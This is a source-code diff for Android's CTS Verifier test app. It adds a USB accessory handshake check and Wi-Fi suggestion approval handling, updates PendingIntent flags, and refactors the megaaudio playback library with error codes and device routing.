 import static org.junit.Assert.assertTrue;
 
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.hardware.usb.UsbAccessory;
 import android.hardware.usb.UsbManager;
 import android.os.AsyncTask;
@@ -49,6 +53,8 @@
 import java.nio.charset.Charset;
 import java.util.Arrays;
 import java.util.Random;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Guide the user to run test for the USB accessory interface.
@@ -63,6 +69,11 @@
     private TextView mStatus;
     private ProgressBar mProgress;
 
+    private BroadcastReceiver mUsbAccessoryHandshakeReceiver;
+
+    private Boolean mAccessoryStart = false;
+    private CompletableFuture<Void> mAccessoryHandshakeIntent = new CompletableFuture<>();
+
     @Override
     protected void onCreate(@Nullable Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -71,12 +82,29 @@
         setInfoResources(
                 R.string.usb_accessory_test, R.string.usb_accessory_test_info, -1);
 
+        setPassFailButtonClickListeners();
         mStatus = (TextView) findViewById(R.id.status);
         mProgress = (ProgressBar) findViewById(R.id.progress_bar);
         mStatus.setText(R.string.usb_accessory_test_step1);
         getPassButton().setEnabled(false);
 
         AccessoryAttachmentHandler.addObserver(this);
+
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(UsbManager.ACTION_USB_ACCESSORY_HANDSHAKE);
+
+        mUsbAccessoryHandshakeReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                synchronized (UsbAccessoryTestActivity.this) {
+                    mAccessoryStart = intent.getBooleanExtra(
+                            UsbManager.EXTRA_ACCESSORY_START, false);
+                    mAccessoryHandshakeIntent.complete(null);
+                }
+            }
+        };
+
+        registerReceiver(mUsbAccessoryHandshakeReceiver, filter);
     }
 
     @Override
@@ -84,6 +112,8 @@
         mStatus.setText(R.string.usb_accessory_test_step2);
         mProgress.setVisibility(View.VISIBLE);
 
+        final long accessroyStarTime = 3 * 1000;
+
         AccessoryAttachmentHandler.removeObserver(this);
 
         UsbManager usbManager = getSystemService(UsbManager.class);
@@ -242,6 +272,15 @@
                                     ResultUnit.KBPS);
                             Log.i(LOG_TAG, "Read data transfer speed is " + speedKBPS + "KBPS");
 
+                            nextTest(is, os, "Receive USB_ACCESSORY_HANDSHAKE intent");
+
+                            mAccessoryHandshakeIntent.get(accessroyStarTime,
+                                    TimeUnit.MILLISECONDS);
+                            assertTrue(mAccessoryStart);
+
+                            unregisterReceiver(mUsbAccessoryHandshakeReceiver);
+                            mUsbAccessoryHandshakeReceiver = null;
+
                             nextTest(is, os, "done");
                         }
                     }
@@ -299,6 +338,10 @@
     protected void onDestroy() {
         AccessoryAttachmentHandler.removeObserver(this);
 
+        if (mUsbAccessoryHandshakeReceiver != null) {
+            unregisterReceiver(mUsbAccessoryHandshakeReceiver);
+        }
+
         super.onDestroy();
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index 4bbcddc..faee07a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -151,7 +151,7 @@
 
                             mUsbManager.requestPermission(device,
                                     PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
-                                            new Intent(ACTION_USB_PERMISSION), 0));
+                                            new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
                             break;
                         case ACTION_USB_PERMISSION:
                             boolean granted = intent.getBooleanExtra(
@@ -1588,7 +1588,7 @@
 
                             mUsbManager.requestPermission(device,
                                     PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
-                                         new Intent(ACTION_USB_PERMISSION), 0));
+                                         new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
                             break;
                     }
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
index fa42d82..434540e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
@@ -261,7 +261,7 @@
             mUsbManager.requestPermission(
                     mUsbDevice,
                     PendingIntent.getBroadcast(
-                            MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), 0));
+                            MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), PendingIntent.FLAG_MUTABLE_UNAUDITED));
 
             latch.await();
             assertTrue(mUsbManager.hasPermission(mUsbDevice));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
index 74146f1..23477c2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
@@ -279,14 +279,14 @@
         pass.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
         pass.setData(Uri.parse(pass.toUri(Intent.URI_INTENT_SCHEME)));
         final PendingIntent passPendingIntent = PendingIntent.getBroadcast(context, 0, pass,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         final Intent fail = new Intent(context, WidgetCtsProvider.class);
         fail.setAction(WidgetCtsProvider.FAIL);
         fail.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
         fail.setData(Uri.parse(fail.toUri(Intent.URI_INTENT_SCHEME)));
         final PendingIntent failPendingIntent = PendingIntent.getBroadcast(context, 0, fail,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         rv.setOnClickPendingIntent(R.id.pass, passPendingIntent);
         rv.setOnClickPendingIntent(R.id.fail, failPendingIntent);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
index 1a829f2..ef965b3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
@@ -39,6 +39,8 @@
 import android.util.Log;
 import android.util.Pair;
 
+import androidx.core.os.BuildCompat;
+
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.wifi.BaseTestCase;
 import com.android.cts.verifier.wifi.CallbackUtils;
@@ -75,8 +77,10 @@
     private NetworkRequest mNetworkRequest;
     private CallbackUtils.NetworkCallback mNetworkCallback;
     private ConnectionStatusListener mConnectionStatusListener;
+    private UserApprovalStatusListener mUserApprovalStatusListener;
     private BroadcastReceiver mBroadcastReceiver;
     private String mFailureReason;
+    private int mUserApprovedStatus = WifiManager.STATUS_SUGGESTION_APPROVAL_UNKNOWN;
 
     private final boolean mSetBssid;
     private final boolean mSetRequiresAppInteraction;
@@ -156,6 +160,23 @@
         }
     }
 
+    private class UserApprovalStatusListener implements
+            WifiManager.SuggestionUserApprovalStatusListener{
+        private final CountDownLatch mCountDownLatch;
+
+        UserApprovalStatusListener(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+        @Override
+        public void onUserApprovalStatusChange() {
+            mUserApprovedStatus = mWifiManager.getNetworkSuggestionUserApprovalStatus();
+            if (mUserApprovedStatus == WifiManager.STATUS_SUGGESTION_APPROVAL_PENDING) {
+                return;
+            }
+            mCountDownLatch.countDown();
+        }
+    }
+
     // TODO(b/150890482): Capabilities changed callback can occur multiple times (for ex: RSSI
     // change) & the sufficiency checks may result in ths change taking longer to take effect.
     // This method accounts for both of these situations.
@@ -219,6 +240,21 @@
         mWifiManager.addSuggestionConnectionStatusListener(
                 Executors.newSingleThreadExecutor(), mConnectionStatusListener);
 
+        final CountDownLatch userApprovalCountDownLatch = new CountDownLatch(1);
+        if (BuildCompat.isAtLeastS()) {
+            mUserApprovedStatus = mWifiManager.getNetworkSuggestionUserApprovalStatus();
+            if (mUserApprovedStatus != WifiManager.STATUS_SUGGESTION_APPROVAL_APPROVED_BY_USER) {
+                mUserApprovalStatusListener = new UserApprovalStatusListener(
+                        userApprovalCountDownLatch);
+                if (!mWifiManager.addSuggestionUserApprovalStatusListener(
+                        Executors.newSingleThreadExecutor(), mUserApprovalStatusListener)) {
+                    setFailureReason(mContext.getString(R.string
+                            .wifi_status_suggestion_add_user_approval_status_listener_failure));
+                    return false;
+                }
+            }
+        }
+
         // Step: Register network callback to wait for connection state.
         mNetworkRequest = new NetworkRequest.Builder()
                 .addTransportType(TRANSPORT_WIFI)
@@ -238,6 +274,30 @@
             setFailureReason(mContext.getString(R.string.wifi_status_suggestion_add_failure));
             return false;
         }
+        // Step: Ask user to approval the suggestion.
+        if (BuildCompat.isAtLeastS()) {
+            if (mUserApprovedStatus != WifiManager.STATUS_SUGGESTION_APPROVAL_APPROVED_BY_USER) {
+                mListener.onTestMsgReceived(mContext.getString(
+                        R.string.wifi_status_suggestion_wait_for_user_approval));
+            }
+            if (mUserApprovalStatusListener != null) {
+                if (!userApprovalCountDownLatch.await(CALLBACK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    setFailureReason(mContext.getString(
+                            R.string.wifi_status_suggestion_user_approval_status_failure));
+                    return false;
+                }
+                if (mUserApprovedStatus
+                        != WifiManager.STATUS_SUGGESTION_APPROVAL_APPROVED_BY_USER) {
+                    setFailureReason(mContext.getString(
+                            R.string.wifi_status_suggestion_user_approve_failure));
+                    return false;
+                }
+            }
+        } else {
+            mListener.onTestMsgReceived(mContext.getString(
+                    R.string.wifi_status_suggestion_wait_for_user_approval));
+        }
+
         if (DBG) Log.v(TAG, "Getting suggestion");
         List<WifiNetworkSuggestion> retrievedSuggestions = mWifiManager.getNetworkSuggestions();
         if (!Objects.equals(mNetworkSuggestions, retrievedSuggestions)) {
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java
index 72b1209..7021bfc 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java
@@ -16,11 +16,13 @@
 package org.hyphonate.megaaudio.common;
 
 public class BuilderBase {
+    //TODO exlain the structure of these constants
     // API Types - enumerated in high nibble
-    protected static final int TYPE_MASK = 0xF000;
-    private static final int TYPE_UNDEFINED = 0xF000;
-    public static final int TYPE_JAVA = 0x0000;
-    public static final int TYPE_OBOE = 0x1000;
+    public static final int TYPE_MASK = 0xF000;
+    public static final int TYPE_UNDEFINED = 0xF000;
+    public static final int TYPE_NONE = 0x0000;
+    public static final int TYPE_JAVA = 0x1000;
+    public static final int TYPE_OBOE = 0x2000;
 
     // API subtypes - enumerated in low nibble
     public static final int SUB_TYPE_MASK = 0x0000F;
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java
index 41dcad6..1fb3cf0 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java
@@ -15,19 +15,29 @@
  */
 package org.hyphonate.megaaudio.common;
 
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
 
 public abstract class StreamBase {
-    /*
-     * Stream attributes
-     */
+    //
+    // Error Codes
+    // These values must be kept in sync with the equivalent symbols in
+    // megaaudio/common/Streambase.h
+    //
+    public static final int OK = 0;
+    public static final int ERROR_UNKNOWN = -1;
+    public static final int ERROR_UNSUPPORTED = -2;
+    public static final int ERROR_INVALID_STATE = -3;
+
+    //
+    // Stream attributes
+    //
     protected int mChannelCount;
     protected int mSampleRate;
 
-    public int getChannelCount() { return mChannelCount; }
-    public int getSampleRate() { return mSampleRate; }
-
-    public abstract int getNumBufferFrames();
+    // Routing
+    protected AudioDeviceInfo mRouteDevice;
 
     // the thread on which the underlying Android AudioTrack/AudioRecord will run
     protected Thread mStreamThread = null;
@@ -35,6 +45,18 @@
     //
     // Attributes
     //
+    public int getChannelCount() { return mChannelCount; }
+    public int getSampleRate() { return mSampleRate; }
+
+    public abstract int getNumBufferFrames();
+
+    // Routing
+    public void setRouteDevice(AudioDeviceInfo routeDevice) {
+        mRouteDevice = routeDevice;
+    }
+
+    public static final int ROUTED_DEVICE_ID_INVALID = -1;
+    public abstract int getRoutedDeviceId();
 
     //
     // Sample Format Utils
@@ -72,24 +94,25 @@
      * @param channelCount  The number of channels of audio data to be streamed.
      * @param sampleRate    The stream sample rate
      * @param numFrames     The number of frames of audio data in the stream's buffer.
-     * @return              True if the stream is successfully initialized.
+     * @return              ERROR_NONE if successful, otherwise an error code
      */
-    public abstract boolean setupAudioStream(int channelCount, int sampleRate, int numFrames);
+    public abstract int setupStream(int channelCount, int sampleRate, int numFrames);
 
-    public abstract void teardownAudioStream();
+    public abstract int teardownStream();
 
     /**
      * Starts playback on an open stream player. (@see open() method above).
-     * @return <code>true</code> if playback/recording starts.
+     * @return              ERROR_NONE if successful, otherwise an error code
      */
-    public abstract boolean startStream();
+    public abstract int startStream();
 
     /**
      * Stops playback.
      * May not stop the stream immediately. i.e. does not stop until the next audio callback
      * from the underlying system.
+     * @return              ERROR_NONE if successful, otherwise an error code
      */
-    public abstract void stopStream();
+    public abstract int stopStream();
 
     //
     // Thread stuff
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java
new file mode 100644
index 0000000..bc94ea4
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.duplex;
+
+import android.media.AudioDeviceInfo;
+import android.util.Log;
+
+import org.hyphonate.megaaudio.common.BuilderBase;
+import org.hyphonate.megaaudio.common.StreamBase;
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.Player;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.recorder.AudioSink;
+import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.Recorder;
+import org.hyphonate.megaaudio.recorder.RecorderBuilder;
+
+public class DuplexAudioManager {
+    private static final String TAG = DuplexAudioManager.class.getSimpleName();
+
+    // Player
+    //TODO - explain these constants
+    private int mNumPlayerChannels = 2;
+    private int mPlayerSampleRate = 48000;
+    private int mNumPlayerBufferFrames;
+
+    private Player mPlayer;
+    private AudioSourceProvider mSourceProvider;
+    private AudioDeviceInfo mPlayerSelectedDevice;
+
+    // Recorder
+    private int mNumRecorderChannels = 2;
+    private int mRecorderSampleRate = 48000;
+    private int mNumRecorderBufferFrames;
+
+    private Recorder mRecorder;
+    private AudioSinkProvider mSinkProvider;
+    private AudioDeviceInfo mRecorderSelectedDevice;
+    private int mInputPreset = Recorder.INPUT_PRESET_NONE;
+
+    public DuplexAudioManager(AudioSourceProvider sourceProvider, AudioSinkProvider sinkProvider) {
+        mSourceProvider = sourceProvider;
+        mSinkProvider = sinkProvider;
+    }
+
+    public void setInputPreset(int preset) { mInputPreset = preset; }
+
+    public int setupStreams(int playerType, int recorderType) {
+        // Recorder
+        if ((recorderType & BuilderBase.TYPE_MASK) != BuilderBase.TYPE_NONE) {
+            try {
+                mRecorder = new RecorderBuilder()
+                        .setRecorderType(recorderType)
+                        .setAudioSinkProvider(mSinkProvider)
+                        .build();
+                if (mInputPreset != Recorder.INPUT_PRESET_NONE) {
+                    mRecorder.setInputPreset(mInputPreset);
+                }
+                mRecorder.setRouteDevice(mRecorderSelectedDevice);
+                int errorCode = mRecorder.setupStream(
+                        mNumRecorderChannels, mRecorderSampleRate, mNumRecorderBufferFrames);
+                if (errorCode != StreamBase.OK) {
+                    Log.e(TAG, "Recorder setupStream() failed");
+                    return errorCode;
+                }
+                mNumRecorderBufferFrames = mRecorder.getNumBufferFrames();
+            } catch (RecorderBuilder.BadStateException ex) {
+                Log.e(TAG, "Recorder - BadStateException" + ex);
+                return StreamBase.ERROR_UNSUPPORTED;
+            }
+        }
+
+        // Player
+        if ((playerType & BuilderBase.TYPE_MASK) != BuilderBase.TYPE_NONE) {
+            try {
+                mNumPlayerBufferFrames =
+                        Player.calcMinBufferFrames(mNumPlayerChannels, mPlayerSampleRate);
+                mPlayer = new PlayerBuilder()
+                        .setPlayerType(playerType)
+                        .setSourceProvider(mSourceProvider)
+                        .build();
+                mPlayer.setRouteDevice(mPlayerSelectedDevice);
+                int errorCode = mPlayer.setupStream(
+                        mNumPlayerChannels, mPlayerSampleRate, mNumPlayerBufferFrames);
+                if (errorCode != StreamBase.OK) {
+                    Log.e(TAG, "Player - setupStream() failed");
+                    return errorCode;
+                }
+            } catch (PlayerBuilder.BadStateException ex) {
+                Log.e(TAG, "Player - BadStateException" + ex);
+                return StreamBase.ERROR_UNSUPPORTED;
+            }
+        }
+
+        return StreamBase.OK;
+    }
+
+    public int start() {
+        int result = StreamBase.OK;
+        if (mRecorder != null && (result = mRecorder.startStream()) != StreamBase.OK) {
+            return result;
+        }
+
+        if (mPlayer != null && (result = mPlayer.startStream()) != StreamBase.OK) {
+            return result;
+        }
+
+        return result;
+    }
+
+    public int stop() {
+        int playerResult = StreamBase.OK;
+        if (mPlayer != null) {
+           int result1 = mPlayer.stopStream();
+           int result2 = mPlayer.teardownStream();
+           playerResult = result1 != StreamBase.OK ? result1 : result2;
+        }
+
+        int recorderResult = StreamBase.OK;
+        if (mRecorder != null) {
+            int result1 = mRecorder.stopStream();
+            int result2 = mRecorder.teardownStream();
+            recorderResult = result1 != StreamBase.OK ? result1 : result2;
+        }
+
+        return playerResult != StreamBase.OK ? playerResult: recorderResult;
+    }
+
+    public int getNumPlayerBufferFrames() {
+        return mPlayer != null ? mPlayer.getNumBufferFrames() : 0;
+    }
+
+    public int getNumRecorderBufferFrames() {
+        return mRecorder != null ? mRecorder.getNumBufferFrames() : 0;
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java
index c1dc373..a8c41c1 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java
@@ -15,11 +15,23 @@
  */
 package org.hyphonate.megaaudio.player;
 
-public interface AudioSource {
+public abstract class AudioSource {
+    public AudioSource() {}
+
+    /**
+     * Called before the stream starts to allow initialization of the source
+     * @param numFrames The number of frames that will be requested in each pull() call.
+     * @param numChans The number of channels in the stream.
+     */
+    public void init(int numFrames, int numChans) {}
+
+    public void start() {}
+    public void stop() {}
+
     /**
      * reset a stream to the beginning.
      */
-    public void reset();
+    public void reset() {}
 
     /**
      * Process a request for audio data.
@@ -31,5 +43,5 @@
      * Note that the player will be blocked by this call.
      * Note that the data is assumed to be *interleaved*.
      */
-    public int pull(float[] audioData, int numFrames, int numChans);
+    public abstract int pull(float[] audioData, int numFrames, int numChans);
 }
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java
index 8a04686..587c699 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java
@@ -26,5 +26,5 @@
      * @return a native (C/C++) AudioSource subclass object corresponding to the AudioSourceProvider
      * implementation (stored in a long).
      */
-    long getNativeSource();
+    NativeAudioSource getNativeSource();
 }
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java
index 19f3fd9..6f8b8ff 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java
@@ -15,6 +15,7 @@
  */
 package org.hyphonate.megaaudio.player;
 
+import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
 import android.media.AudioTrack;
 import android.util.Log;
@@ -66,7 +67,7 @@
     }
 
     /**
-     * Allocates the array or the burst buffer.
+     * Allocates the array for the burst buffer.
      */
     private void allocBurstBuffer() {
         // pad it by 1 frame. This allows some sources to not have to worry about
@@ -74,6 +75,9 @@
         mAudioBuffer = new float[(mNumBufferFrames + 1) * mChannelCount];
     }
 
+    //
+    // Attributes
+    //
     /**
      * @return The number of frames of audio data contained in the internal buffer.
      */
@@ -82,13 +86,23 @@
         return mNumBufferFrames;
     }
 
+    @Override
+    public int getRoutedDeviceId() {
+        if (mAudioTrack != null) {
+            AudioDeviceInfo routedDevice = mAudioTrack.getRoutedDevice();
+            return routedDevice != null ? routedDevice.getId() : ROUTED_DEVICE_ID_INVALID;
+        } else {
+            return ROUTED_DEVICE_ID_INVALID;
+        }
+    }
+
     /*
      * State
      */
     @Override
-    public boolean setupAudioStream(int channelCount, int sampleRate, int numBufferFrames) {
+    public int setupStream(int channelCount, int sampleRate, int numBufferFrames) {
         if (LOG) {
-            Log.i(TAG, "setupAudioStream(chans:" + channelCount + ", rate:" + sampleRate +
+            Log.i(TAG, "setupStream(chans:" + channelCount + ", rate:" + sampleRate +
                     ", frames:" + numBufferFrames);
         }
 
@@ -97,6 +111,7 @@
         mNumBufferFrames = numBufferFrames;
 
         mAudioSource = mSourceProvider.getJavaSource();
+        mAudioSource.init(mNumBufferFrames, mChannelCount);
 
         try {
             int bufferSizeInBytes = mNumBufferFrames * mChannelCount
@@ -112,19 +127,20 @@
                     .build();
 
             allocBurstBuffer();
+            mAudioTrack.setPreferredDevice(mRouteDevice);
         }  catch (UnsupportedOperationException ex) {
             if (LOG) {
                 Log.i(TAG, "Couldn't open AudioTrack: " + ex);
             }
             mAudioTrack = null;
-            return false;
+            return ERROR_UNSUPPORTED;
         }
 
-        return true;
+        return OK;
     }
 
     @Override
-    public void teardownAudioStream() {
+    public int teardownStream() {
         stopStream();
 
         waitForStreamThreadToExit();
@@ -136,6 +152,9 @@
 
         mChannelCount = 0;
         mSampleRate = 0;
+
+        //TODO - Retrieve errors from above
+        return OK;
     }
 
     /**
@@ -146,14 +165,17 @@
      * call to the AudioSource.pull() method.
      */
     @Override
-    public boolean startStream() {
+    public int startStream() {
+        if (mAudioTrack == null) {
+            return ERROR_INVALID_STATE;
+        }
         waitForStreamThreadToExit(); // just to be sure.
 
         mStreamThread = new Thread(new StreamPlayerRunnable(), "StreamPlayer Thread");
         mPlaying = true;
         mStreamThread.start();
 
-        return true;
+        return OK;
     }
 
     /**
@@ -162,8 +184,9 @@
      * Returns immediately, though a call to AudioSource.pull() may be in progress.
      */
     @Override
-    public void stopStream() {
+    public int stopStream() {
         mPlaying = false;
+        return OK;
     }
 
     //
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java
new file mode 100644
index 0000000..24e4930
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public class NativeAudioSource extends AudioSource {
+    private long    mNativeSourcePtr;
+
+    public NativeAudioSource(long nativeSourcePtr) {
+        mNativeSourcePtr = nativeSourcePtr;
+    }
+
+    // Use this to call the AudioSource methods in C++ directly
+    public long getNativeObject() { return mNativeSourcePtr; }
+
+    @Override
+    public void init(int numFrames, int numChans) {
+        initN(mNativeSourcePtr, numFrames, numChans);
+    }
+
+    // These can be called from Java, but only do so if you don't mind the JNI overhead
+    @Override
+    public void reset() {
+        resetN(mNativeSourcePtr);
+    }
+
+    @Override
+    public int pull(float[] audioData, int numFrames, int numChans) {
+        return pullN(mNativeSourcePtr, audioData, numFrames, numChans);
+    }
+
+    private native void initN(long nativeSourcePtr, int numFrames, int numChans);
+    private native void resetN(long nativeSourcePtr);
+    private native int pullN(long nativeSourcePtr, float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java
new file mode 100644
index 0000000..e6770b2
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public class OboePlayer extends Player {
+    boolean mPlaying;
+
+    private int mPlayerSubtype;
+    private long mNativePlayer;
+
+    public OboePlayer(AudioSourceProvider sourceProvider, int playerSubtype) {
+        super(sourceProvider);
+
+        mPlayerSubtype = playerSubtype;
+        mNativePlayer = allocNativePlayer(
+                mSourceProvider.getNativeSource().getNativeObject(), mPlayerSubtype);
+    }
+
+    @Override
+    public int getNumBufferFrames() {
+        return getBufferFrameCountN(mNativePlayer);
+    }
+
+    @Override
+    public int getRoutedDeviceId() {
+        return getRoutedDeviceIdN(mNativePlayer);
+    }
+
+    @Override
+    public boolean isPlaying() { return mPlaying; }
+
+    @Override
+    public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        return setupStreamN(
+                mNativePlayer, channelCount, sampleRate,
+                mRouteDevice == null ? -1 : mRouteDevice.getId());
+    }
+
+    @Override
+    public int teardownStream() {
+        int errCode = teardownStreamN(mNativePlayer);
+
+        mChannelCount = 0;
+        mSampleRate = 0;
+
+        return errCode;
+    }
+
+    @Override
+    public int startStream() {
+        return startStreamN(mNativePlayer, mPlayerSubtype);
+    }
+
+    @Override
+    public int stopStream() {
+        mPlaying = false;
+
+        return stopN(mNativePlayer);
+    }
+
+    private native long allocNativePlayer(long nativeSource, int playerSubtype);
+
+    private native int setupStreamN(long nativePlayer, int channelCount, int sampleRate, int routeDeviceId);
+    private native int teardownStreamN(long nativePlayer);
+
+    private native int startStreamN(long nativePlayer, int playerSubtype);
+    private native int stopN(long nativePlayer);
+
+    private native int getBufferFrameCountN(long mNativePlayer);
+
+    private native int getRoutedDeviceIdN(long nativePlayer);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java
index 6419989..2974766 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java
@@ -86,7 +86,6 @@
             case 8:
                 return AudioFormat.CHANNEL_OUT_7POINT1;
 
-
             default:
                 return AudioTrack.ERROR_BAD_VALUE;
         }
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java
index b32aa8c..ff0a31b 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java
@@ -15,6 +15,8 @@
  */
 package org.hyphonate.megaaudio.player;
 
+import android.media.AudioDeviceInfo;
+
 import org.hyphonate.megaaudio.common.BuilderBase;
 
 public class PlayerBuilder extends BuilderBase {
